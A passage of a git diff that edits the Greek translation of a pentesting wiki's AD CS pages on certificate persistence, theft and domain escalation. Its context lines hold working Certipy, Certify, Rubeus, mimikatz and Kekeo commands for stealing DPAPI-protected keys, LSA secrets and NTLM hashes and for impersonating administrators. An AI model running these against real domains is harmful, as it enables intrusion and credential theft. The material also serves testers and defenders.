/certificate:C:\Temp\cert.pfx /password:CertPass! / # Or with Certipy certipy auth -pfx user.pfx -dc-ip 10.0.0.10 ``` -> Σημείωση: Συνδυασμένο με άλλες τεχνικές (βλ. ενότητες ΚΛΟΠΗΣ), η πιστοποίηση βάσει πιστοποιητικών επιτρέπει μόνιμη πρόσβαση χωρίς να αγγίξει το LSASS και ακόμη και από μη ανυψωμένα περιβάλλοντα. +> Σημείωση: Σε συνδυασμό με άλλες τεχνικές (βλ. ενότητες ΚΛΟΠΗΣ), η αυθεντικοποίηση με βάση πιστοποιητικά επιτρέπει μόνιμη πρόσβαση χωρίς να αγγίξει το LSASS και ακόμη και από μη ανυψωμένα περιβάλλοντα. ## Απόκτηση Μηχανικής Μόνιμης Πρόσβασης με Πιστοποιητικά - PERSIST2 -Εάν ένας επιτιθέμενος έχει ανυψωμένα δικαιώματα σε έναν υπολογιστή, μπορεί να εγγραφεί ο λογαριασμός μηχανής του παραβιασμένου συστήματος για ένα πιστοποιητικό χρησιμοποιώντας το προεπιλεγμένο πρότυπο `Machine`. Η αυθεντικοποίηση ως η μηχανή επιτρέπει το S4U2Self για τοπικές υπηρεσίες και μπορεί να παρέχει ανθεκτική μόνιμη πρόσβαση στον υπολογιστή: +Εάν ένας επιτιθέμενος έχει ανυψωμένα δικαιώματα σε έναν υπολογιστή, μπορεί να εγγραφεί ο λογαριασμός μηχανής του παραβιασμένου συστήματος για ένα πιστοποιητικό χρησιμοποιώντας το προεπιλεγμένο πρότυπο `Machine`. Η αυθεντικοποίηση ως μηχανή επιτρέπει το S4U2Self για τοπικές υπηρεσίες και μπορεί να παρέχει ανθεκτική μόνιμη πρόσβαση στον υπολογιστή: ```bash # Request a machine certificate as SYSTEM Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine @@ -46,7 +46,7 @@ Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0 ``` ## Extending Persistence Through Certificate Renewal - PERSIST3 -Η κακή χρήση των περιόδων εγκυρότητας και ανανέωσης των προτύπων πιστοποιητικών επιτρέπει σε έναν επιτιθέμενο να διατηρεί μακροχρόνια πρόσβαση. Εάν κατέχετε ένα προηγουμένως εκδοθέν πιστοποιητικό και το ιδιωτικό του κλειδί, μπορείτε να το ανανεώσετε πριν από την λήξη του για να αποκτήσετε μια νέα, μακροχρόνια διαπιστευτήρια χωρίς να αφήσετε επιπλέον αποδεικτικά στοιχεία αιτήσεων που να σχετίζονται με τον αρχικό φορέα. +Η κακή χρήση της εγκυρότητας και των περιόδων ανανέωσης των προτύπων πιστοποιητικών επιτρέπει σε έναν επιτιθέμενο να διατηρεί μακροχρόνια πρόσβαση. Εάν κατέχετε ένα προηγουμένως εκδοθέν πιστοποιητικό και το ιδιωτικό του κλειδί, μπορείτε να το ανανεώσετε πριν από την λήξη του για να αποκτήσετε μια νέα, μακροχρόνια διαπιστευτήρια χωρίς να αφήσετε επιπλέον αποδεικτικά στοιχεία αιτήσεων που να σχετίζονται με τον αρχικό κύριο. ```bash # Renewal with Certipy (works with RPC/DCOM/WebEnrollment) # Provide the existing PFX and target the same CA/template when possible @@ -57,7 +57,7 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ # (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair) certreq -enroll -user -cert renew [reusekeys] ``` -> Operational tip: Παρακολουθήστε τις διάρκειες των PFX αρχείων που κατέχει ο επιτιθέμενος και ανανεώστε νωρίς. Η ανανέωση μπορεί επίσης να προκαλέσει την ενημέρωση των πιστοποιητικών ώστε να περιλαμβάνουν την σύγχρονη επέκταση χαρτογράφησης SID, διατηρώντας τα χρήσιμα υπό αυστηρότερους κανόνες χαρτογράφησης DC (βλ. επόμενη ενότητα). +> Operational tip: Παρακολουθήστε τις διάρκειες των PFX αρχείων που κατέχονται από επιτιθέμενους και ανανεώστε νωρίς. Η ανανέωση μπορεί επίσης να προκαλέσει την ενημέρωση των πιστοποιητικών ώστε να περιλαμβάνουν την σύγχρονη επέκταση χαρτογράφησης SID, διατηρώντας τα χρήσιμα υπό αυστηρότερους κανόνες χαρτογράφησης DC (βλ. επόμενη ενότητα). ## Φύτευση Ρητών Χαρτογραφήσεων Πιστοποιητικών (altSecurityIdentities) – PERSIST4 @@ -65,7 +65,7 @@ certreq -enroll -user -cert renew [reusekeys] Υψηλού επιπέδου ροή: -1. Αποκτήστε ή εκδώστε ένα πιστοποιητικό αυθεντικοποίησης πελάτη που ελέγχετε (π.χ., εγγραφείτε στο πρότυπο `User` ως εσείς). +1. Αποκτήστε ή εκδώστε ένα πιστοποιητικό client-auth που ελέγχετε (π.χ., εγγραφείτε στο πρότυπο `User` ως εσείς). 2. Εξαγάγετε έναν ισχυρό αναγνωριστικό από το πιστοποιητικό (Issuer+Serial, SKI ή SHA1-PublicKey). 3. Προσθέστε μια ρητή χαρτογράφηση στο `altSecurityIdentities` του θύματος χρησιμοποιώντας αυτόν τον αναγνωριστικό. 4. Αυθεντικοποιηθείτε με το πιστοποιητικό σας; το DC το χαρτογραφεί στο θύμα μέσω της ρητής χαρτογράφησης. @@ -109,7 +109,7 @@ Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ -template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx ``` -Η ανάκληση του πιστοποιητικού του πράκτορα ή των δικαιωμάτων του προτύπου είναι απαραίτητη για την απομάκρυνση αυτής της επιμονής. +Η ανάκληση του πιστοποιητικού του πράκτορα ή των δικαιωμάτων του προτύπου είναι απαραίτητη για την εκδίωξη αυτής της επιμονής. ## 2025 Ενίσχυση Χαρτογράφησης Ισχυρού Πιστοποιητικού: Επιπτώσεις στην Επιμονή diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index 586131c22..791774ea4 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -36,15 +36,15 @@ certutil.exe -dump -v cert.pfx Στα Windows, **τα ιδιωτικά κλειδιά πιστοποιητικών προστατεύονται από το DPAPI**. Είναι κρίσιμο να αναγνωρίσουμε ότι οι **θέσεις αποθήκευσης για τα ιδιωτικά κλειδιά χρηστών και μηχανών** είναι διαφορετικές, και οι δομές αρχείων ποικίλλουν ανάλογα με το κρυπτογραφικό API που χρησιμοποιείται από το λειτουργικό σύστημα. Το **SharpDPAPI** είναι ένα εργαλείο που μπορεί να πλοηγηθεί σε αυτές τις διαφορές αυτόματα κατά την αποκρυπτογράφηση των DPAPI blobs. -**Τα πιστοποιητικά χρηστών** βρίσκονται κυρίως στο μητρώο κάτω από `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, αλλά κάποια μπορούν επίσης να βρεθούν στον κατάλογο `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. Τα αντίστοιχα **ιδιωτικά κλειδιά** για αυτά τα πιστοποιητικά αποθηκεύονται συνήθως στο `%APPDATA%\Microsoft\Crypto\RSA\User SID\` για τα κλειδιά **CAPI** και στο `%APPDATA%\Microsoft\Crypto\Keys\` για τα κλειδιά **CNG**. +**Τα πιστοποιητικά χρηστών** φιλοξενούνται κυρίως στο μητρώο κάτω από `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, αλλά κάποια μπορούν επίσης να βρεθούν στον κατάλογο `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. Τα αντίστοιχα **ιδιωτικά κλειδιά** για αυτά τα πιστοποιητικά αποθηκεύονται συνήθως στο `%APPDATA%\Microsoft\Crypto\RSA\User SID\` για **κλειδιά CAPI** και στο `%APPDATA%\Microsoft\Crypto\Keys\` για **κλειδιά CNG**. -Για να **εξαγάγετε ένα πιστοποιητικό και το σχετικό ιδιωτικό κλειδί του**, η διαδικασία περιλαμβάνει: +Για να **εξάγουμε ένα πιστοποιητικό και το σχετικό ιδιωτικό κλειδί του**, η διαδικασία περιλαμβάνει: -1. **Επιλέγοντας το στοχευόμενο πιστοποιητικό** από το κατάστημα του χρήστη και ανακτώντας το όνομα του καταστήματος κλειδιών του. -2. **Εντοπίζοντας το απαιτούμενο DPAPI masterkey** για να αποκρυπτογραφήσετε το αντίστοιχο ιδιωτικό κλειδί. -3. **Αποκρυπτογραφώντας το ιδιωτικό κλειδί** χρησιμοποιώντας το απλό κείμενο DPAPI masterkey. +1. **Επιλογή του στοχευμένου πιστοποιητικού** από το κατάστημα του χρήστη και ανάκτηση του ονόματος του καταστήματος κλειδιών του. +2. **Εντοπισμός του απαιτούμενου DPAPI masterkey** για την αποκρυπτογράφηση του αντίστοιχου ιδιωτικού κλειδιού. +3. **Αποκρυπτογράφηση του ιδιωτικού κλειδιού** χρησιμοποιώντας το απλό DPAPI masterkey. -Για **να αποκτήσετε το απλό κείμενο DPAPI masterkey**, μπορούν να χρησιμοποιηθούν οι εξής προσεγγίσεις: +Για **την απόκτηση του απλού DPAPI masterkey**, οι παρακάτω προσεγγίσεις μπορούν να χρησιμοποιηθούν: ```bash # With mimikatz, when running in the user's context dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc @@ -62,15 +62,15 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid ``` ## Κλοπή Πιστοποιητικού Μηχανής μέσω DPAPI – THEFT3 -Τα πιστοποιητικά μηχανής που αποθηκεύονται από τα Windows στο μητρώο στη διαδρομή `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` και τα αντίστοιχα ιδιωτικά κλειδιά που βρίσκονται στη διαδρομή `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (για CAPI) και `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (για CNG) είναι κρυπτογραφημένα χρησιμοποιώντας τα κύρια κλειδιά DPAPI της μηχανής. Αυτά τα κλειδιά δεν μπορούν να αποκρυπτογραφηθούν με το αντίγραφο ασφαλείας DPAPI του τομέα; αντίθετα, απαιτείται το **DPAPI_SYSTEM LSA secret**, το οποίο μπορεί να προσπελαστεί μόνο από τον χρήστη SYSTEM. +Τα πιστοποιητικά μηχανής που αποθηκεύονται από τα Windows στο μητρώο στη διαδρομή `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` και τα αντίστοιχα ιδιωτικά κλειδιά που βρίσκονται στη διαδρομή `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (για CAPI) και `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (για CNG) είναι κρυπτογραφημένα χρησιμοποιώντας τα κύρια κλειδιά DPAPI της μηχανής. Αυτά τα κλειδιά δεν μπορούν να αποκρυπτογραφηθούν με το κλειδί αντιγράφου ασφαλείας DPAPI του τομέα; αντίθετα, απαιτείται το **DPAPI_SYSTEM LSA secret**, το οποίο μπορεί να προσπελαστεί μόνο από τον χρήστη SYSTEM. -Η χειροκίνητη αποκρυπτογράφηση μπορεί να επιτευχθεί εκτελώντας την εντολή `lsadump::secrets` στο **Mimikatz** για να εξάγει το DPAPI_SYSTEM LSA secret, και στη συνέχεια χρησιμοποιώντας αυτό το κλειδί για να αποκρυπτογραφήσει τα κύρια κλειδιά της μηχανής. Εναλλακτικά, η εντολή `crypto::certificates /export /systemstore:LOCAL_MACHINE` του Mimikatz μπορεί να χρησιμοποιηθεί μετά την επιδιόρθωση CAPI/CNG όπως περιγράφηκε προηγουμένως. +Η χειροκίνητη αποκρυπτογράφηση μπορεί να επιτευχθεί εκτελώντας την εντολή `lsadump::secrets` στο **Mimikatz** για να εξάγει το DPAPI_SYSTEM LSA secret, και στη συνέχεια χρησιμοποιώντας αυτό το κλειδί για να αποκρυπτογραφήσει τα κύρια κλειδιά της μηχανής. Εναλλακτικά, η εντολή `crypto::certificates /export /systemstore:LOCAL_MACHINE` του Mimikatz μπορεί να χρησιμοποιηθεί μετά την επιδιόρθωση του CAPI/CNG όπως περιγράφηκε προηγουμένως. **SharpDPAPI** προσφέρει μια πιο αυτοματοποιημένη προσέγγιση με την εντολή πιστοποιητικών του. Όταν χρησιμοποιείται η σημαία `/machine` με ανυψωμένα δικαιώματα, αναβαθμίζεται σε SYSTEM, εξάγει το DPAPI_SYSTEM LSA secret, το χρησιμοποιεί για να αποκρυπτογραφήσει τα κύρια κλειδιά DPAPI της μηχανής και στη συνέχεια χρησιμοποιεί αυτά τα κλειδιά σε απλή μορφή ως πίνακα αναζήτησης για να αποκρυπτογραφήσει οποιαδήποτε ιδιωτικά κλειδιά πιστοποιητικού μηχανής. ## Εύρεση Αρχείων Πιστοποιητικών – THEFT4 -Τα πιστοποιητικά βρίσκονται μερικές φορές απευθείας μέσα στο σύστημα αρχείων, όπως σε κοινές διαδρομές αρχείων ή στον φάκελο Λήψεις. Οι πιο συχνά συναντώμενοι τύποι αρχείων πιστοποιητικών που στοχεύουν σε περιβάλλοντα Windows είναι τα αρχεία `.pfx` και `.p12`. Αν και λιγότερο συχνά, αρχεία με επεκτάσεις `.pkcs12` και `.pem` εμφανίζονται επίσης. Άλλες αξιοσημείωτες επεκτάσεις αρχείων που σχετίζονται με πιστοποιητικά περιλαμβάνουν: +Τα πιστοποιητικά βρίσκονται μερικές φορές απευθείας μέσα στο σύστημα αρχείων, όπως σε κοινές διανομές αρχείων ή στον φάκελο Λήψεις. Οι πιο συχνά συναντώμενοι τύποι αρχείων πιστοποιητικών που στοχεύουν σε περιβάλλοντα Windows είναι τα αρχεία `.pfx` και `.p12`. Αν και λιγότερο συχνά, αρχεία με επεκτάσεις `.pkcs12` και `.pem` εμφανίζονται επίσης. Άλλες αξιοσημείωτες επεκτάσεις αρχείων που σχετίζονται με πιστοποιητικά περιλαμβάνουν: - `.key` για ιδιωτικά κλειδιά, - `.crt`/`.cer` για μόνο πιστοποιητικά, @@ -92,9 +92,9 @@ john --wordlist=passwords.txt hash.txt ``` ## NTLM Credential Theft via PKINIT – THEFT5 (UnPAC the hash) -Το παρόν περιεχόμενο εξηγεί μια μέθοδο κλοπής διαπιστευτηρίων NTLM μέσω PKINIT, συγκεκριμένα μέσω της μεθόδου κλοπής που ονομάζεται THEFT5. Ακολουθεί μια επαναδιατύπωση σε παθητική φωνή, με το περιεχόμενο ανωνυμοποιημένο και συνοπτικό όπου είναι απαραίτητο: +Το παρόν περιεχόμενο εξηγεί μια μέθοδο κλοπής διαπιστευτηρίων NTLM μέσω PKINIT, συγκεκριμένα μέσω της μεθόδου κλοπής που ονομάζεται THEFT5. Ακολουθεί μια επαναδιατύπωση σε παθητική φωνή, με το περιεχόμενο ανώνυμο και συνοπτικό όπου είναι απαραίτητο: -Για να υποστηριχθεί η αυθεντικοποίηση NTLM `MS-NLMP` για εφαρμογές που δεν διευκολύνουν την αυθεντικοποίηση Kerberos, ο KDC έχει σχεδιαστεί να επιστρέφει τη μία κατεύθυνση λειτουργία (OWF) NTLM του χρήστη μέσα στο πιστοποιητικό προνομίων (PAC), συγκεκριμένα στο buffer `PAC_CREDENTIAL_INFO`, όταν χρησιμοποιείται το PKCA. Ως εκ τούτου, εάν ένας λογαριασμός αυθεντικοποιηθεί και εξασφαλίσει ένα Ticket-Granting Ticket (TGT) μέσω PKINIT, παρέχεται εγγενώς ένας μηχανισμός που επιτρέπει στον τρέχοντα υπολογιστή να εξάγει το NTLM hash από το TGT για να υποστηρίξει τα παλαιά πρωτόκολλα αυθεντικοποίησης. Αυτή η διαδικασία περιλαμβάνει την αποκρυπτογράφηση της δομής `PAC_CREDENTIAL_DATA`, η οποία είναι ουσιαστικά μια NDR σειριοποιημένη απεικόνιση του απλού κειμένου NTLM. +Για να υποστηριχθεί η αυθεντικοποίηση NTLM `MS-NLMP` για εφαρμογές που δεν διευκολύνουν την αυθεντικοποίηση Kerberos, ο KDC έχει σχεδιαστεί να επιστρέφει τη μία κατεύθυνση λειτουργία (OWF) NTLM του χρήστη εντός του πιστοποιητικού χαρακτηριστικών προνομίων (PAC), συγκεκριμένα στο buffer `PAC_CREDENTIAL_INFO`, όταν χρησιμοποιείται το PKCA. Ως εκ τούτου, εάν ένας λογαριασμός αυθεντικοποιηθεί και εξασφαλίσει ένα Ticket-Granting Ticket (TGT) μέσω PKINIT, παρέχεται εγγενώς ένας μηχανισμός που επιτρέπει στον τρέχοντα υπολογιστή να εξάγει το NTLM hash από το TGT για να υποστηρίξει τα παλαιά πρωτόκολλα αυθεντικοποίησης. Αυτή η διαδικασία περιλαμβάνει την αποκρυπτογράφηση της δομής `PAC_CREDENTIAL_DATA`, η οποία είναι ουσιαστικά μια NDR σειριοποιημένη απεικόνιση του απλού κειμένου NTLM. Η χρησιμότητα **Kekeo**, προσβάσιμη στο [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), αναφέρεται ως ικανή να ζητήσει ένα TGT που περιέχει αυτά τα συγκεκριμένα δεδομένα, διευκολύνοντας έτσι την ανάκτηση του NTLM του χρήστη. Η εντολή που χρησιμοποιείται για αυτόν τον σκοπό είναι η εξής: ```bash @@ -102,7 +102,7 @@ tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domai ``` **`Rubeus`** μπορεί επίσης να αποκτήσει αυτές τις πληροφορίες με την επιλογή **`asktgt [...] /getcredentials`**. -Επιπλέον, σημειώνεται ότι το Kekeo μπορεί να επεξεργαστεί πιστοποιητικά που προστατεύονται από smartcard, εφόσον μπορεί να ανακτηθεί το pin, με αναφορά στο [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). Η ίδια δυνατότητα υποστηρίζεται από το **Rubeus**, διαθέσιμο στο [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus). +Επιπλέον, σημειώνεται ότι το Kekeo μπορεί να επεξεργαστεί πιστοποιητικά που προστατεύονται από smartcard, εφόσον μπορεί να ανακτηθεί το pin, με αναφορά στο [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). Η ίδια δυνατότητα υποστηρίζεται από **Rubeus**, διαθέσιμο στο [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus). Αυτή η εξήγηση συνοψίζει τη διαδικασία και τα εργαλεία που εμπλέκονται στην κλοπή διαπιστευτηρίων NTLM μέσω PKINIT, εστιάζοντας στην ανάκτηση των NTLM hashes μέσω TGT που αποκτήθηκε χρησιμοποιώντας PKINIT, και τα εργαλεία που διευκολύνουν αυτή τη διαδικασία. diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index e8a28a585..cac221cc0 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -19,14 +19,14 @@ - **Δεν απαιτούνται υπογραφές από εξουσιοδοτημένο προσωπικό.** - **Οι περιγραφείς ασφαλείας στα πρότυπα πιστοποιητικών είναι υπερβολικά επιεικείς, επιτρέποντας στους χρήστες με χαμηλά προνόμια να αποκτούν δικαιώματα εγγραφής.** - **Τα πρότυπα πιστοποιητικών είναι ρυθμισμένα να ορίζουν EKUs που διευκολύνουν την αυθεντικοποίηση:** -- Τα αναγνωριστικά Extended Key Usage (EKU) όπως Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ή χωρίς EKU (SubCA) περιλαμβάνονται. +- Οι ταυτοί Extended Key Usage (EKU) όπως Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ή χωρίς EKU (SubCA) περιλαμβάνονται. - **Η δυνατότητα για τους αιτούντες να συμπεριλάβουν ένα subjectAltName στην Αίτηση Υπογραφής Πιστοποιητικού (CSR) επιτρέπεται από το πρότυπο:** -- Η Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για την επαλήθευση ταυτότητας αν είναι παρόν. Αυτό σημαίνει ότι καθορίζοντας το SAN σε μια CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσποιηθεί οποιονδήποτε χρήστη (π.χ., έναν διαχειριστή τομέα). Εάν μπορεί να καθοριστεί ένα SAN από τον αιτούντα, αυτό υποδεικνύεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει τον καθορισμό του SAN από τον αιτούντα. +- Η Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για την επαλήθευση ταυτότητας αν είναι παρόν. Αυτό σημαίνει ότι καθορίζοντας το SAN σε μια CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσποιηθεί οποιονδήποτε χρήστη (π.χ., έναν διαχειριστή τομέα). Εάν μπορεί να καθοριστεί ένα SAN από τον αιτούντα υποδεικνύεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει τον καθορισμό του SAN από τον αιτούντα. > [!CAUTION] > Η ρύθμιση που περιγράφεται επιτρέπει στους χρήστες με χαμηλά προνόμια να ζητούν πιστοποιητικά με οποιοδήποτε SAN επιλέξουν, επιτρέποντας την αυθεντικοποίηση ως οποιοσδήποτε τομεακός κύριος μέσω Kerberos ή SChannel. -Αυτή η δυνατότητα είναι μερικές φορές ενεργοποιημένη για να υποστηρίξει τη δημιουργία HTTPS ή πιστοποιητικών φιλοξενίας κατά την εκτέλεση από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης. +Αυτή η δυνατότητα είναι μερικές φορές ενεργοποιημένη για να υποστηρίξει τη δημιουργία πιστοποιητικών HTTPS ή host κατά την πτήση από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης. Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτή την επιλογή ενεργοποιεί μια προειδοποίηση, κάτι που δεν συμβαίνει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, το οποίο έχει ενεργοποιημένη την `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να περιλαμβάνει ένα OID αυθεντικοποίησης. @@ -88,9 +88,9 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo **Requirements 1:** - Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από την Enterprise CA. -- Η απαίτηση για έγκριση διευθυντή παραλείπεται. +- Η απαίτηση για έγκριση από διευθυντή παραλείπεται. - Καμία απαίτηση για εξουσιοδοτημένες υπογραφές. -- Ο ασφάλειας περιγραφέας του προτύπου πιστοποιητικού είναι υπερβολικά επιτρεπτικός, χορηγώντας δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια. +- Ο ασφαλιστικός περιγραφέας του προτύπου πιστοποιητικού είναι υπερβολικά επιτρεπτικός, χορηγώντας δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια. - Το πρότυπο πιστοποιητικού περιλαμβάνει την Certificate Request Agent EKU, επιτρέποντας την αίτηση άλλων προτύπων πιστοποιητικών εκ μέρους άλλων προσώπων. **Requirements 2:** @@ -99,7 +99,7 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo - Η έγκριση του διευθυντή παρακάμπτεται. - Η έκδοση του σχήματος του προτύπου είναι είτε 1 είτε υπερβαίνει το 2, και καθορίζει μια Απαίτηση Έκδοσης Πολιτικής Εφαρμογής που απαιτεί την Certificate Request Agent EKU. - Μια EKU που ορίζεται στο πρότυπο πιστοποιητικού επιτρέπει την αυθεντικοποίηση τομέα. -- Περιορισμοί για τους agents εγγραφής δεν εφαρμόζονται στην CA. +- Περιορισμοί για τους πράκτορες εγγραφής δεν εφαρμόζονται στην CA. ### Abuse @@ -117,7 +117,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -Οι **χρήστες** που επιτρέπεται να **αποκτήσουν** ένα **πιστοποιητικό πράκτορα εγγραφής**, τα πρότυπα στα οποία οι πράκτορες εγγραφής επιτρέπεται να εγγραφούν, και οι **λογαριασμοί** εκ μέρους των οποίων μπορεί να ενεργήσει ο πράκτορας εγγραφής μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **κλικάροντας με το δεξί κουμπί πάνω στην CA**, **επιλέγοντας Ιδιότητες**, και στη συνέχεια **μεταβαίνοντας** στην καρτέλα “Enrollment Agents”. +Οι **χρήστες** που επιτρέπεται να **αποκτούν** ένα **πιστοποιητικό πράκτορα εγγραφής**, τα πρότυπα στα οποία οι πράκτορες εγγραφής επιτρέπεται να εγγραφούν, και οι **λογαριασμοί** εκ μέρους των οποίων μπορεί να ενεργήσει ο πράκτορας εγγραφής μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **κλικάροντας με το δεξί κουμπί πάνω στην CA**, **επιλέγοντας Ιδιότητες**, και στη συνέχεια **μεταβαίνοντας** στην καρτέλα “Enrollment Agents”. Ωστόσο, σημειώνεται ότι η **προεπιλεγμένη** ρύθμιση για τις CA είναι να “**Μη περιορίζετε τους πράκτορες εγγραφής**.” Όταν η περιοριστική ρύθμιση για τους πράκτορες εγγραφής ενεργοποιείται από τους διαχειριστές, ρυθμίζοντας την σε “Περιορίστε τους πράκτορες εγγραφής,” η προεπιλεγμένη διαμόρφωση παραμένει εξαιρετικά επιτρεπτική. Επιτρέπει την πρόσβαση σε **Όλους** για να εγγραφούν σε όλα τα πρότυπα ως οποιοσδήποτε. @@ -125,14 +125,14 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password ### **Εξήγηση** -Ο **ασφαλιστικός περιγραφέας** στα **πρότυπα πιστοποιητικών** καθορίζει τις **άδειες** που κατέχουν οι συγκεκριμένοι **AD principals** σχετικά με το πρότυπο. +Ο **ασφαλιστικός περιγραφέας** στα **πρότυπα πιστοποιητικών** καθορίζει τις **άδειες** που κατέχουν συγκεκριμένοι **AD principals** σχετικά με το πρότυπο. -Εάν ένας **επιτιθέμενος** κατέχει τις απαραίτητες **άδειες** για να **αλλάξει** ένα **πρότυπο** και να **θεσπίσει** οποιεσδήποτε **εκμεταλλεύσιμες κακοδιαρθρώσεις** που περιγράφονται σε **προηγούμενες ενότητες**, η κλιμάκωση προνομίων θα μπορούσε να διευκολυνθεί. +Εάν ένας **επιτιθέμενος** κατέχει τις απαραίτητες **άδειες** για να **αλλάξει** ένα **πρότυπο** και να **θεσπίσει** οποιεσδήποτε **εκμεταλλεύσιμες κακοδιαμορφώσεις** που περιγράφονται σε **προηγούμενες ενότητες**, η κλιμάκωση προνομίων θα μπορούσε να διευκολυνθεί. Σημαντικές άδειες που ισχύουν για τα πρότυπα πιστοποιητικών περιλαμβάνουν: -- **Ιδιοκτήτης:** Παρέχει έλεγχο επί του αντικειμένου, επιτρέποντας την τροποποίηση οποιωνδήποτε χαρακτηριστικών. -- **FullControl:** Ενεργοποιεί πλήρη εξουσία επί του αντικειμένου, συμπεριλαμβανομένης της ικανότητας να αλλάξει οποιαδήποτε χαρακτηριστικά. +- **Ιδιοκτήτης:** Παρέχει έμμεσο έλεγχο πάνω στο αντικείμενο, επιτρέποντας την τροποποίηση οποιωνδήποτε χαρακτηριστικών. +- **FullControl:** Ενεργοποιεί πλήρη εξουσία πάνω στο αντικείμενο, συμπεριλαμβανομένης της ικανότητας να αλλάξει οποιαδήποτε χαρακτηριστικά. - **WriteOwner:** Επιτρέπει την αλλαγή του ιδιοκτήτη του αντικειμένου σε έναν κύριο υπό τον έλεγχο του επιτιθέμενου. - **WriteDacl:** Επιτρέπει την προσαρμογή των ελέγχων πρόσβασης, ενδεχομένως παρέχοντας στον επιτιθέμενο FullControl. - **WriteProperty:** Εξουσιοδοτεί την επεξεργασία οποιωνδήποτε ιδιοτήτων αντικειμένου. @@ -166,7 +166,7 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes Το εκτενές δίκτυο αλληλοσυνδεδεμένων σχέσεων βασισμένων σε ACL, το οποίο περιλαμβάνει αρκετά αντικείμενα πέρα από τα πρότυπα πιστοποιητικών και την αρχή πιστοποίησης, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, που μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν: -- Το αντικείμενο υπολογιστή AD του διακομιστή CA, το οποίο μπορεί να παραβιαστεί μέσω μηχανισμών όπως το S4U2Self ή S4U2Proxy. +- Το αντικείμενο υπολογιστή AD του διακομιστή CA, το οποίο μπορεί να παραβιαστεί 